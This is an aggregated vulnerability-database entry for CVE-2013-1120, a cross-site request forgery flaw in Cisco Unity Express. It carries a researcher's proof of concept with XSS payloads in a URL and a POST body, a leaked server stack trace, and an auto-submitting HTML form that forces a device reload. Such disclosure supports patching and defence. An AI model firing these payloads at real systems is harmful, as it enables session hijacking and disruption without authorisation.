Sign-up

ID

VAR-201302-0172


CVE

CVE-2013-1120


TITLE

Cisco Unity Express Vulnerable to cross-site request forgery

Trust: 0.8

sources: JVNDB: JVNDB-2013-001443

DESCRIPTION

Multiple cross-site request forgery (CSRF) vulnerabilities on the Cisco Unity Express with software before 8.0 allow remote attackers to hijack the authentication of unspecified victims via unknown vectors, aka Bug ID CSCue35910. Cisco Unity Express Contains a cross-site request forgery vulnerability. The problem is Bug ID CSCue35910 It is a problem.Authentication may be hijacked by a third party. Exploiting these issues may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible. Cisco Unity is an advanced unified communications solution for enterprise-level organizations that can provide powerful messaging services and intelligent voice messaging services. Through an unknown vector, a remote attacker could exploit this vulnerability to hijack the authentication information of an unknown victim user. # Exploit Title: Cisco Unity Express Multiple Vulnerabilities # Reported: December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120 # http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html Cisco Advisory http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114 http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120 Proof of Concept XSS - CVE-2013-1114: GET: Reflective XSS & Info disclosure http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script> Information Disclosure Location: /Web/WEB-INF/screens/main.jsp Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp Internal Servlet Error: javax.servlet.ServletException: invalid character at position 1 in > org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777) Root cause: java.lang.NumberFormatException: invalid character at position 1 in > java.lang.Throwable. (Throwable.java:166) java.lang.Integer.parseInt (Integer.java:775) java.lang.Integer.parseInt (Integer.java:262) com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777) POST: Persistent XSS http://X.X.X.X/Web/SA3/AddHoliday.do POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD CSRF - CVE-2013-1120: <html> <!-- # Exploit Title: Cisco Unity Express CSRF # Date: Discovered and reported December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # Software: Cisco Unity Express # CVE : CVE-2013-1120 for the CSRF # Note: All the HTML forms are susceptible to forgery --> <head> <title>Reload Cisco Unity Express CSRF</title> </head> <body> <form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post"> <input type="hidden" name="submitType" value="RELOAD"/> </form> <script> document.CUEreload.submit(); </script> </body> </html> . ---------------------------------------------------------------------- The final version of the CSI 6.0 has been released. Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/ ---------------------------------------------------------------------- TITLE: Cisco Unity Express Cross-Site Scripting and Request Forgery Vulnerabilities SECUNIA ADVISORY ID: SA52045 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/52045/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=52045 RELEASE DATE: 2013-02-04 DISCUSS ADVISORY: http://secunia.com/advisories/52045/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/52045/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=52045 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Some vulnerabilities have been reported in Cisco Unity Express, which can be exploited by malicious people to conduct cross-site scripting and request forgery attacks. 1) Certain unspecified input is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. 2) The application allows users to perform certain actions via HTTP requests without performing proper validity checks to verify the requests. This can be exploited to perform certain actions when a logged-in user visits a specially crafted web page. The vulnerabilities are reported in versions prior to 8.0. SOLUTION: Upgrade to version 8.0 or later (please contact the vendor for more information). PROVIDED AND/OR DISCOVERED BY: The vendor credits Jacob Holcomb, Independent Security Evaluators ORIGINAL ADVISORY: Cisco: http://tools.cisco.com/security/center/viewAlert.x?alertId=28044 http://tools.cisco.com/security/center/viewAlert.x?alertId=28045 http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114 http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Trust: 2.16

sources: NVD: CVE-2013-1120 // JVNDB: JVNDB-2013-001443 // BID: 57678 // VULHUB: VHN-61122 // PACKETSTORM: 120068 // PACKETSTORM: 120043

AFFECTED PRODUCTS

vendor:ciscomodel:unity express softwarescope:eqversion:7.2

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:2.1

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:2.0

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:7.3

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:7.1

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:1.1.1

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:2.2

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:7.0

Trust: 1.6

vendor:ciscomodel:unity express softwarescope:eqversion:1.1.2

Trust: 1.6

vendor:ciscomodel:unity expressscope:eqversion:*

Trust: 1.0

vendor:ciscomodel:unity express softwarescope:eqversion:3.0

Trust: 1.0

vendor:ciscomodel:unity express softwarescope:eqversion:3.2

Trust: 1.0

vendor:ciscomodel:unity express softwarescope:lteversion:7.4

Trust: 1.0

vendor:ciscomodel:unity express softwarescope:eqversion:3.1

Trust: 1.0

vendor:ciscomodel:unity express softwarescope:eqversion:2.3

Trust: 1.0

vendor:ciscomodel:unity expressscope:ltversion:software 8.0

Trust: 0.8

vendor:ciscomodel:unity express softwarescope:ltversion:8.0

Trust: 0.8

vendor:ciscomodel:unity express softwarescope:eqversion:7.4

Trust: 0.6

sources: JVNDB: JVNDB-2013-001443 // CNNVD: CNNVD-201302-081 // NVD: CVE-2013-1120

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-1120
value: MEDIUM

Trust: 1.0

NVD: CVE-2013-1120
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201302-081
value: MEDIUM

Trust: 0.6

VULHUB: VHN-61122
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2013-1120
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-61122
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-61122 // JVNDB: JVNDB-2013-001443 // CNNVD: CNNVD-201302-081 // NVD: CVE-2013-1120

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-61122 // JVNDB: JVNDB-2013-001443 // NVD: CVE-2013-1120

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201302-081

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201302-081

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2013-001443

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-61122

PATCH
title:Cisco Unity Express Cross Site Request Forgery Vulnerabilitiesurl:http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2013-001443

EXTERNAL IDS
db:NVDid:CVE-2013-1120
Trust: 3.0
db:JVNDBid:JVNDB-2013-001443
Trust: 0.8
db:SECUNIAid:52045
Trust: 0.8
db:CNNVDid:CNNVD-201302-081
Trust: 0.7
db:CISCOid:20130201 CISCO UNITY EXPRESS CROSS SITE REQUEST FORGERY VULNERABILITIES
Trust: 0.6
db:BIDid:57678
Trust: 0.4
db:PACKETSTORMid:120068
Trust: 0.2
db:EXPLOIT-DBid:24449
Trust: 0.1
db:VULHUBid:VHN-61122
Trust: 0.1
db:PACKETSTORMid:120043
Trust: 0.1
sources:
            
            
            VULHUB: VHN-61122 // 
            
            
            
            BID: 57678 // 
            
            
            
            JVNDB: JVNDB-2013-001443 // 
            
            
            
            PACKETSTORM: 120068 // 
            
            
            
            PACKETSTORM: 120043 // 
            
            
            
            CNNVD: CNNVD-201302-081 // 
            
            
            
            NVD: CVE-2013-1120

REFERENCES
url:http://tools.cisco.com/security/center/content/ciscosecuritynotice/cve-2013-1120
Trust: 1.9
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-1120
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-1120
Trust: 0.8
url:http://secunia.com/advisories/52045
Trust: 0.6
url:http://www.cisco.com/en/us/products/sw/voicesw/ps5520/index.html
Trust: 0.3
url:http://tools.cisco.com/security/center/content/ciscosecuritynotice/cve-2013-1114
Trust: 0.2
url:http://x.x.x.x/web/sa3/addholiday.do
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-1114
Trust: 0.1
url:http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html
Trust: 0.1
url:http://x.x.x.x/web/sa/saveconfiguration.do"
Trust: 0.1
url:http://x.x.x.x/web/sa2/scriptlist.do?gui_pagenotabledata=><script>alert(42)</script>
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2013-1120
Trust: 0.1
url:http://tools.cisco.com/security/center/viewalert.x?alertid=28045
Trust: 0.1
url:http://secunia.com/advisories/52045/
Trust: 0.1
url:http://tools.cisco.com/security/center/viewalert.x?alertid=28044
Trust: 0.1
url:http://secunia.com/vulnerability_intelligence/
Trust: 0.1
url:http://secunia.com/advisories/secunia_security_advisories/
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
Trust: 0.1
url:http://secunia.com/advisories/52045/#comments
Trust: 0.1
url:http://secunia.com/vulnerability_scanning/personal/
Trust: 0.1
url:http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
Trust: 0.1
url:http://secunia.com/blog/325/
Trust: 0.1
url:https://ca.secunia.com/?page=viewadvisory&vuln_id=52045
Trust: 0.1
url:http://secunia.com/advisories/about_secunia_advisories/
Trust: 0.1
sources:
            
            
            VULHUB: VHN-61122 // 
            
            
            
            BID: 57678 // 
            
            
            
            JVNDB: JVNDB-2013-001443 // 
            
            
            
            PACKETSTORM: 120068 // 
            
            
            
            PACKETSTORM: 120043 // 
            
            
            
            CNNVD: CNNVD-201302-081 // 
            
            
            
            NVD: CVE-2013-1120

CREDITS
Jacob Holcomb of Independent Security Evaluators
Trust: 0.3
sources:
            
            
            BID: 57678

SOURCES
db:VULHUBid:VHN-61122
db:BIDid:57678
db:JVNDBid:JVNDB-2013-001443
db:PACKETSTORMid:120068
db:PACKETSTORMid:120043
db:CNNVDid:CNNVD-201302-081
db:NVDid:CVE-2013-1120

LAST UPDATE DATE
2024-11-23T22:31:28.253000+00:00

SOURCES UPDATE DATE
db:VULHUBid:VHN-61122date:2013-02-07T00:00:00
db:BIDid:57678date:2013-02-01T00:00:00
db:JVNDBid:JVNDB-2013-001443date:2013-02-18T00:00:00
db:CNNVDid:CNNVD-201302-081date:2013-02-07T00:00:00
db:NVDid:CVE-2013-1120date:2024-11-21T01:48:56.690

SOURCES RELEASE DATE
db:VULHUBid:VHN-61122date:2013-02-06T00:00:00
db:BIDid:57678date:2013-02-01T00:00:00
db:JVNDBid:JVNDB-2013-001443date:2013-02-07T00:00:00
db:PACKETSTORMid:120068date:2013-02-05T23:20:12
db:PACKETSTORMid:120043date:2013-02-04T06:43:21
db:CNNVDid:CNNVD-201302-081date:2013-02-07T00:00:00
db:NVDid:CVE-2013-1120date:2013-02-06T12:05:43.833